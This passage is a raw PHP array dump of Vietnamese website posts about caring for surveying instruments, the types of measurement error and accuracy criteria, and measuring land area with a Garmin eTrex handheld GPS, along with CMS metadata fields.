của nó.<br /> - Nếu thiết bị đã được sử dụng trong điều kiện ẩm ướt, ngay lập tức lau sạch bất kỳ độ ẩm và làm khô thiết bị hoàn toàn trước khi cho lại thiết bị vào hộp đựng.<br /> - Thiết bị điện tử nhạy cảm đã được bảo vệ tốt trong hộp đựng chống lại bụi và độ ẩm.<br /> Tuy nhiên, nếu bụi hoặc hơi ẩm bám vào dụng cụ, có thể gây ra hư hại nghiêm trọng. Vì vậy, hãy chắc chắn thiết bị của bạn được bỏ vào hộp ngay sau khi sử dụng và vệ sinh.<br /> - Những thay đổi đột ngột về nhiệt độ có thể làm mờ ống kính và giảm đáng kể mức đo được khoảng cách hoặc gây ra lỗi hệ thống điện. Nếu có sự thay đổi đột ngột về nhiệt độ, để dụng cụ trong hộp đựng kín ở vị trí ấm cho đến khi nhiệt độ của thiết bị trở về nhiệt độ phòng.<br /> - Không bảo quản thiết bị trắc địa ở những nơi nóng hoặc ẩm ướt. Đặc biệt, bạn phải lưu trữ bộ pin ở nơi khô ráo ở nhiệt độ dưới 30 ° C (86 ° F). Nhiệt độ cao hoặc độ ẩm quá mức có thể khiến nấm mốc phát triển trên các ống kính. Nó cũng có thể làm cho thị kính điện tử bị mờ đi và do đó dẫn đến việc khó bắt mục tiêu.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/DTM 322(1).jpg" style="width: 400px; height: 391px;" /><br /> - Khi bảo quản thiết bị ở những nơi có nhiệt độ cực thấp, hãy để hộp đựng mở.<br /> - Khi điều chỉnh các ốc cân bằng máy, hãy đặt vị trí càng gần vị trí trung tâm của ốc cân bằng máy.<br /> - Không sử dụng dung môi hữu cơ (chẳng hạn như ether hoặc chất pha loãng sơn) để làm sạch các bộ phận phi kim loại của thiết bị (chẳng hạn như bàn phím hoặc các bề mặt được sơn của máy). Làm như vậy có thể dẫn đến đổi màu bề mặt, hoặc lột các ký tự logo. Làm sạch những bộ phận này chỉ bằng một bông gòn, vải hoặc khăn giấy, thấm nhẹ bằng nước hoặc chất tẩy nhẹ.<br /> - Để vệ sinh ống kính quang học, hãy lau nhẹ bằng một miếng vải mềm hoặc bông gòn được thấm cồn.<br /> - Trước khi gắn pin, hãy chắc chắn rằng bề mặt tiếp xúc trên bề mặt pin và dụng cụ đã được lau chùi sạch sẽ.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/HOP MAY_02 B40A(2).jpg" /><br /> - Hộp đựng được thiết kế kín nước, nhưng bạn không nên để nó tiếp xúc với mưa lớn.<br /> <br /> Bảo quản thiết bị trắc địa là một trong những khâu quan trọng giúp việc đo đạc được chính xác. Nó giúp hỗ trợ giảm chi phí đầu tư cũng như chi phí sửa chữa máy. Hy vọng những thông tin trên sẽ hữu ích cho bạn.<br /> </span></span>', 'images' => '201905030810258d806bbec8ab9ba5235e121c05e3154a.jpg', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-05-03', 'modified' => '2025-08-10', 'status' => '1', 'view' => '74548', 'slug' => 'cach-bao-quan-thiet-bi-trac-dia-dung-cach', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '939', 'rght' => '940', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 3 => array( 'Post' => array( 'id' => '536', 'name' => 'Các loại sai số, tiêu chí đánh giá độ chính xác kết quả đo', 'code' => null, 'alias' => 'cac-loai-sai-so-tieu-chi-danh-gia-do-chinh-xac-ket-qua-do', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '', 'content' => '<div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; font-weight: 700;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">1. Các loại sai số trong đo đạc.</em></span></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">a) Sai số sai lầm.</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Sai số sai lầm là do người đo thiếu cẩn thận trong khi đo, hoặc kỹ thuật đo không bảo đảm. Sai số này thường có giá trị tương đối lớn.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Khắc phục: đổi người đo</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">b) Sai số hệ thống:</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Là những sai số do độ chính xác của máy và không bảo đảm hoặc do thói quen, thị lực của người đo.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Sai số hệ thống thường có dấu và giá trị không đổi.</span></span></div> <p style="box-sizing: border-box; margin: 0px 0px 10px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> </p> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Loại trừ sai số hệ thống:</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Nếu do máy thì chúng ta có thể kiểm nghiệm, xác định giá trị sai số của máy rồi lấy kết quả đo trừ đi giá trị sai số đó.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- nếu do người đo thì chúng ta có thể kiểm nghiện sai số của người bằng cách so sánh kết quả của người đo với một vài người đo khác để biết được mức độ sai khác nhau về kết quả, sau đó lấy kết quả đo trừ đi giá trị sai khác đó.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">c) Sai số ngẫu nhiên.</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Là những sai số xuất hiện trong kết quả đo một cách ngẫu nhiên mà không thể xác định được quy luật cũng như giá trị và nguyên nhân của sai số đó.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Sai số ngẫu nhiên không thể loại trừ được, tuy nhiên qua nghiên cứu cho thấy sai số ngẫu nhiên có những tính chất sau đây:</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> - Các giá trị tuyệt đối của sai số ngẫu nhiên không vượt quá một giá trị nhất định nào đó.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Các giá trị sai số ngẫu nhiên càng nhỏ thì có khả năng xuất hiện càng nhiều, còn giá trị càng lớn thì xuất hiện càng ít.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Sai số ngẫu nhiên mang giá trị dương (+) và sai số ngẫu nhiên mang giá trị âm (-) có xác suất xuất hiện bằng nhau khi số lần đo tiến tới vô cùng.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">- Tổng đại số của các giá trị sai số ngẫu nhiên của n lần đo cho một đại lượng là bằng không khi:<a href="https://4.bp.blogspot.com/-xRibgiac6uE/Ur6R6Z6lB6I/AAAAAAAADeo/LSe-3TIrzM4/s1600/gisgpsrs-trac-dia-co-so.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://4.bp.blogspot.com/-xRibgiac6uE/Ur6R6Z6lB6I/AAAAAAAADeo/LSe-3TIrzM4/s1600/gisgpsrs-trac-dia-co-so.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; font-weight: 700;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">2. Các tiêu chí đánh giá độ chính xác kết quả đo.</em></span></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">a) Sai số trung bình cộng (kí hiệu là s): được tính theo công thức sau:</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><a href="https://4.bp.blogspot.com/-R8MMROfkfWU/Ur6SpdB55TI/AAAAAAAADew/MkE9uEdOJ3Y/s1600/gisgpsrs-trac-dia-co-so-sai-so.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://4.bp.blogspot.com/-R8MMROfkfWU/Ur6SpdB55TI/AAAAAAAADew/MkE9uEdOJ3Y/s1600/gisgpsrs-trac-dia-co-so-sai-so.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Trong đó: s- sai số trung bình cộng</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> </div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> <a href="https://2.bp.blogspot.com/-XitZG4vs5lY/Ur6TBEfaApI/AAAAAAAADe4/0ebiserIDsY/s1600/gisgpsrs-sai-so-do.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://2.bp.blogspot.com/-XitZG4vs5lY/Ur6TBEfaApI/AAAAAAAADe4/0ebiserIDsY/s1600/gisgpsrs-sai-so-do.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a>- sai số ngấu nhiên của lần đo thứ i</span></span></div> <p style="box-sizing: border-box; margin: 0px 0px 10px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> </p> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> n – số lần đo</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">b) Sai số trung phương (kí hiệu là m): được tính theo công thức:</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><a href="https://3.bp.blogspot.com/-q6MGq8qVYW8/Ur6Tijo7boI/AAAAAAAADfA/34rOoWyxlOg/s1600/gisgpsrs-sai-so-trung-phuong.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://3.bp.blogspot.com/-q6MGq8qVYW8/Ur6Tijo7boI/AAAAAAAADfA/34rOoWyxlOg/s1600/gisgpsrs-sai-so-trung-phuong.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Trong đó: m – sai số trung phương</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> </div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> <a href="https://3.bp.blogspot.com/-XitZG4vs5lY/Ur6TBEfaApI/AAAAAAAADe8/RFQOzCDHS1Y/s1600/gisgpsrs-sai-so-do.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://3.bp.blogspot.com/-XitZG4vs5lY/Ur6TBEfaApI/AAAAAAAADe8/RFQOzCDHS1Y/s1600/gisgpsrs-sai-so-do.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a>- sai số ngấu nhiên của lần đo thứ i</span></span></div> <p style="box-sizing: border-box; margin: 0px 0px 10px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> </p> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> n – số lần đo</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">c) Sai số xác suất (kí hiệu là p)</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Trong dãy kết quả đo nếu sắp xếp các sai số theo giá trị tuyệt đối từ bé đến lớn thì sai số xác suất p có giá trị của sai số đứng giữa về thứ tự sắp xếp.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Khi nghiên cứu về sai số trung bình cộng (s), sai số trung phương (m) và sai số xác suất (p) thấy chúng có mối quan hệ: p/s/m - tương ứng là 0,67/0,8/1,0</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Nếu số lần đo càng nhiều thì tỷ số này càng đúng, dựa vào tỷ số này người tư có thể tính nhanh các giá trị của sai số trung bình cộng (s), sai số trung phương (m) thông qua giá trị của sai số xác suất (p)</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">d) Sai số giới hạn (kí hiệu là f)</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Nghiên cứu thống kê cho thấy:</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Cứ 1000 sai số thực thì có 3 giá trị si số vượt qua giới hạn ba lần giá trị sai số trung phương m. Trong 100 sai số thực thì có năm giá trị v]ợt quá giới hạn hai lần giá trị của sai số trung phương m.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Vì vậy người ta thường chọn sai số giới hạn bằng 3 lần sai số trung phương</span></span></div> <div align="center" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">f = 3m</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Trong trường hợp yêu cầu độ chính xác cao thì chọn sai số giới hạn bằng 2 lần sai số trung phương.</span></span></div> <div align="center" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">f = 2m</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Như vậy trong quá trình tính toán nếu giá trị nào vượt quá sai số giới hạn thì bị coi là sai số sai lầm và bị loại ra khỏi kết quả đo.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">e) Sai số tương đối (kí hiệu là <span style="box-sizing: border-box; margin: 0px; padding: 0px; font-weight: 700;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">1/T</em></span>) là tỷ số giữa sai số trung phương và giá trị thực của đại lượng đo (L).</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><a href="https://2.bp.blogspot.com/-gSCgrAByN9M/Ur6UM1jjS8I/AAAAAAAADfI/mkKKcoc2Ex8/s1600/gisgpsrs-sai-so-tuong-doi.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://2.bp.blogspot.com/-gSCgrAByN9M/Ur6UM1jjS8I/AAAAAAAADfI/mkKKcoc2Ex8/s1600/gisgpsrs-sai-so-tuong-doi.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Sai số tương đối dùng để so sánh mức độ sai số với giá trị thực của đại lượng đo:</span></span></div> ', 'images' => '201904250406260790335a670cb13c2fdb67fe2f8df9ba.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-04-25', 'modified' => '2025-08-10', 'status' => '1', 'view' => '82720', 'slug' => 'cac-loai-sai-so-tieu-chi-danh-gia-do-chinh-xac-ket-qua-do', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '937', 'rght' => '938', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 4 => array( 'Post' => array( 'id' => '535', 'name' => 'Hướng dẫn đo diện tích đất bằng máy định vị cầm tay GARMIN ETREX 10/20X ', 'code' => null, 'alias' => 'huong-dan-do-dien-tich-dat-bang-may-dinh-vi-cam-tay-garmin-etrex-10-20x', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="color: rgb(17, 17, 17); font-weight: 700; text-align: justify;">Những năm gần đây việc sử dụng máy định vị cầm tay để đo diện tích đất nông nghiệp, đất rừng… trở nên phổ biến. Người nông dân, thương lái đã ứng dụng thiết bị kỹ thuật vào việc đo diện tích đất để mua bán cao su, tiêu, điều,… một cách rất hiệu quả và chính xác.</span></span></span>', 'content' => '<p style="margin: 0px auto; padding: 5px 0px; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;">Sau đây, chúng tôi xin phép hướng dẫn cách đo diện tích đất bằng máy định vị cầm tay Etrex 10/20x đơn giản và chính xác.<br /> <br /> <strong>Phần 1: Kiểm tra tín hiệu vệ tinh và sai số của máy định vị trước khi đo diện tích</strong><br /> <br /> Máy định vị cầm tay Etrex 10/20 đo diện tích dựa trên tín hiệu vệ tinh vì vậy để số liệu đo chính xác thì vệ tinh thu được phải nhiều và đầy đủ. Hãy kiểm tra tín hiệu vệ tinh trước khi đo:<br /> <br /> - Nhấn <em>Menu</em> 2 lần để vào màn hình menu chính<br /> <img alt="" src="/admin/webroot/upload/image/images/Hình 2.jpg" style="width: 300px; height: 300px;" /><br /> <br /> - Di chuyển con trỏ vào ô <em>Satellite</em> => nhấn <em>Enter</em><br /> <img alt="" src="/admin/webroot/upload/image/images/Hình 3(1).jpg" style="width: 381px; height: 510px;" /><br /> <br /> - Màn hình vệ tinh sẽ hiện ra. Trên góc phải phía trên màn hình thể hiện sai số của máy. Khi hiện ra số từ 3 - 5m tức là vệ tinh đã tốt, chúng ta có thể bắt đầu đo diện tích đất.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/Hình 4(1).jpg" style="width: 306px; height: 409px;" /><br /> Sau khi kiểm tra tín hiệu vệ tinh và sai số của máy định vị trước khi đo diện tích sẽ tiến hành đo diện tích đất.<br /> <br /> <strong>Phần 2: Tiến hành đo diện tích đất</strong><br /> <br /> <strong>Bước 1:</strong> Nhấn nút <em>Menu</em> trên máy 2 lần để trở về màn hình menu chính<br /> <img alt="" src="/admin/webroot/upload/image/images/Hình 1 lần 2.jpg" style="width: 300px; height: 300px;" /><br /> <em>Hình 1. Nhấn Menu 2 lần để trở về màn hình chính</em><br /> <br /> Bước 2: Di chuyển con trỏ vào biểu tượng có chữ <em>Area Calculation</em> (chức năng đo diện tích) => nhấn <em>Enter</em><strong>. </strong>Màn hình đo diện tích sẽ hiện ra.<br /> <img alt="" src="/admin/webroot/upload/image/images/Hình 2 lần 2.jpg" style="width: 311px; height: 414px;" /><br /> <em>Hình 2. Di chuyển con trỏ vào biểu tượng có chữ Area Calculation</em><br /> <br /> Bước 3: Bây giờ hãy vào khu đất cần đo diện tích và nhấn <em>Enter</em> vào chữ <em>Start</em>, sau đó đi vòng quanh khu đất cần đo.<br /> <img alt="" src="/admin/webroot/upload/image/images/Hình 3 lần 2.jpg" style="width: 400px; height: 533px;" /><br /> <em>Hình 3. Nhấn Enter vào chữ Start</em><br /> <br /> Bước 4: Sau khi đi vòng quanh khu đất cần đo đến vị trí xuất phát ban đầu nhấn <em>Enter</em> vào chữ 